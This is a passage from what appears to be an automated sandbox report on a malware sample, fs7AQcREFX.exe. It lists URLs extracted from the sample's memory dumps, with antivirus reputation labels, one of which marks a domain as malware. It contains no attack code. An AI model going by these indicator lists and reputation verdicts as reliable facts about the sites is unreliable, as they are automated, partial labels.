Cloud: safe	unknown
http://www.olras.com/J	fs7AQcREFX.exe, 00000000.00000002.731356544.0000000006187000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.crcsi.org/a	fs7AQcREFX.exe, 00000000.00000002.731356544.0000000006187000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/uploads/the7-css/css-vars.css?ver=899328ee298e	fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.401612520.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.408206344.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.525348360.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.402720609.0000000003850000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407501333.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.520718818.0000000002F00000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.403781144.0000000003100000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407037442.0000000003110000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://myropcb.com/login/	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.531053757.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.447789415.0000000003240000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.438371636.00000000031E0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.554380208.0000000003120000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.530446894.0000000006D90000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.winhui.cn/template/default/img/fixedimg4.png	fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.408206344.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.525348360.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407501333.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.522264037.0000000006E90000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.403781144.0000000003100000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407037442.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.403612159.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.531053757.0000000003180000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.com-sit.com/branchen-know-how/	fs7AQcREFX.exe, 00000000.00000003.448518635.0000000003180000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.mobilnic.net/Z	fs7AQcREFX.exe, 00000000.00000003.627176737.0000000000A73000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pb-games.com/Q	fs7AQcREFX.exe, 00000000.00000003.619032185.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pohlfood.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fpohlfood.com%2F	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495560428.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612632326.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pohlfood.com/wp-content/uploads/iStock-1031193710b.jpg	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495560428.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612632326.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pohlfood.com/wp-content/plugins/elementor/assets/lib/font-awesome/js/v4-shims.min.js?ver=3.13	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495560428.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612632326.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.com-sit.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.13.3	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.443924517.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.447789415.0000000003240000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.557525966.0000000004220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612322591.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495486174.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448518635.0000000003180000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.credo.edu.pl/&	fs7AQcREFX.exe, 00000000.00000002.714421237.0000000000AC6000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.630648067.0000000000AC7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.pcgrate.com/wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.3.7	fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.401612520.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.408206344.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.525348360.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.402720609.0000000003850000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407501333.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.520718818.0000000002F00000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.403781144.0000000003100000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407037442.0000000003110000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.com-sit.com/wp-content/uploads/2023/04/comsitBROWN-1.jpg	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.443924517.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.447789415.0000000003240000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.557525966.0000000004220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612322591.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495486174.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448518635.0000000003180000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.petsfan.com/q&m	fs7AQcREFX.exe, 00000000.00000003.630089947.00000000061B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/why-use-myro/terms-of-service/	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.531053757.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.447789415.0000000003240000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.438371636.00000000031E0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.554380208.0000000003120000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.530446894.0000000006D90000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com	fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.401612520.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.408206344.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.525348360.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.402720609.0000000003850000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407501333.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.520718818.0000000002F00000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.403781144.0000000003100000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407037442.0000000003110000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.alantron.com/turkce/web-hosting/garanti.to	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617381014.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lolipop.jp/	fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.633716697.0000000000D50000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.512849987.0000000000B90000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.513941237.0000000000D50000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.401612520.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.399549475.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.408206344.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.525348360.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.517712783.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.402720609.0000000003850000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407501333.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.514211859.0000000000D50000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.628447842.0000000002D00000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.515047997.0000000000D70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.630741825.0000000000D60000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.com-sit.com/feed/	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.443924517.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.447789415.0000000003240000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.557525966.0000000004220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612322591.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495486174.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448518635.0000000003180000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.mobilnic.net/c	fs7AQcREFX.exe, 00000000.00000003.506150313.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/share-link/share-link.min.js?ver=3.3.	fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.401612520.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.408206344.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.525348360.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.402720609.0000000003850000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407501333.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, 